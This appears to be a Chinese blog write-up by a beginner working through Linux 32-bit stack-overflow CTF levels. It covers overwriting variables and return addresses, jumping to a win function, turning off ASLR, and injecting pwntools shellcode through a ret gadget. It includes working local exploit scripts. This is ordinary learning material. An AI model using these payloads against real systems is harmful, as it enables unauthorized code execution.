linux 主进程栈溢出,[pwn] Linux栈溢出入门

做题入门=。=

菜呀,学习

level-0

aris教我checksec一下看是啥文件

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w592

32位的打开32位的ida

主程序

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w657

ebp是栈底指针 esp是栈顶指针

好奇为啥栈底指针在最高的地方

aris说是为了最大化利用空间(懵逼)

学习一下栈的知识

只要覆盖0x44个字节把 v5覆盖了就行

# coding=utf8

from pwn import *

context.log_level = 'debug'

context.terminal = ['gnome-terminal', '-x', 'bash', '-c']

payload = "A" * 0x44

cn.sendline(payload)

cn.readline()

gdb 调试一下

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

image

可以看到已经被覆盖了

level-1

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w551

checksec 一下 发现是32位的

打开ida

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w674

只要把v5的值覆盖成1633837924就行了

转成16进制

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w407

0x61626364

用pwntools的时候会跳不出argc

aris说就跟sys.argv 一样需要给参数

看来只能手输入了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w735

这里刚刚好覆盖到

换成61626364就好了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w732

因为是小端的所以是反的

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w711

ok

level2

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w644

还是32位的一个

用ida打开

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w601

直接运行会这样

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w610

有一个getenv函数

是从系统环境中获得变量,问了一下aris

export这个命令就行

ch1p告诉我在ida里面可以用h将值变成16进制

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w210

只要把v5的值覆盖成0d0a0d0a之后就好了

小端所以是0a0d0a0d

import os

os.putenv('GREENIE','A'*0X40+'\x0a\x0d\x0a\x0d')

os.system('./level2')

运行一下成功了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w389

level3

放到ida看一下

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w625

主函数

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w428

还有一个win函数

应该是把v5的值改成win的入口地址

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w531

看到win的入口地址是0x08048424

把v5的值改成这个就行

需要0x40个A+0x08048424

aris教我可以用hex来查看堆栈信息

使用回车可以看后面栈的内容

可以发现我已经将v5的值改掉了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w829

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w343

成功

脚本:

#coding=utf8

from pwn import *

local = 1

if local:

cn = process('./level3')

payload = 'A'*0x40+p32(0x08048424)

cn.sendline(payload)

cn.interactive()

level4

打开ida

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w580

发现main函数只有这么点

还有一个win函数

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w463

还是要跳到这个函数

找到win函数的入口地址

看了一下s离ebp是0x40个字节

所以payload是'A'*0x40+'bbbb'+p32(0x08048424)

b是用来覆盖ebp 接下来就是返回地址

在测试的时候发现不行用gdb调试一下

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w730

发现并没有跳到我给的地址打印一下栈看一下

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w734

发现我的已经写上去了,但是地址还在后面8位

所以更改payload

A*0x48+'bbbb'+p32(0x08048424)

成功!

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w607

脚本:

#coding=utf8

from pwn import *

local = 1

if local:

cn = process('./level4')

payload = 'A'*0x48+'bbbb'+p32(0x08048424)

cn.sendline(payload)

cn.interactive()

解答

为啥往后移了8位静态分析的时候没啥问题

问了下aris

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w540

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w528

经过了与之后就比之前小了8就往后移了8位

23333

gdb是好东西

level5

打开ida

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w550

除了这个函数别的都没了

可以试着写shellcode了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

image

看一下pwntools自带的shellcode只有44长度

那个字符串s的长度有48所以写进去应该没啥问题

不过首先得把ASLR的保护给关了不然写不到那个地址上

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

用gdb调试一下

shellcode = asm(shellcraft.sh())

payload = shellcode+'A'*0x1C+p32(0x00000000)+p32(0xffffcf00)

cn.sendline(payload)

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w774

可以看到他已经被覆盖成功了,下一步就是shellcode

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w732

命令执行成功

level6

打开ida

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w596

main函数

看一下getpath函数

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w473

应该是从这里入手

发现不能像level5一样直接覆盖return的地址了

他做了限定前2位不能是ff

经过一天的学习=。=

通过空函数然后在return回来执行下一句return到shellcode就好了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w788

找一个空函数 方便跳回来继续执行

就是你了0x0804850b

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w661

gdb调试一下

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w556

成功进去了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w591

return到了我们的shellcode的位置

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w462

成功~

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w853

脚本:

shellcode = asm(shellcraft.sh())

payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804850b)+p32(0xffffceec)

cn.sendline(payload)

cn.interactive()

level7

还是和level6一样

只是getpath函数变了

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w421

就是多了一个strdup函数

上网查了一下他是从堆里面分配空间

感觉没啥用

跟上一题一样的思路找一下空函数

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w837

0x0804855b

然后写一下payload

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w731

shellcode = asm(shellcraft.sh())

payload = shellcode+'A'*0x20+p32(0x00000000)+p32(0x0804855b)+p32(0xffffceec)

# z('b*0x080484EF\nc')

cn.sendline(payload)

cn.interactive()

番外

当然有更屌的解法

1bf728fc3416?utm_campaign=maleskine&utm_content=note&utm_medium=seo_notes&utm_source=recommendation

-w867

(等我学成归来)在学习一下

参考资料

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值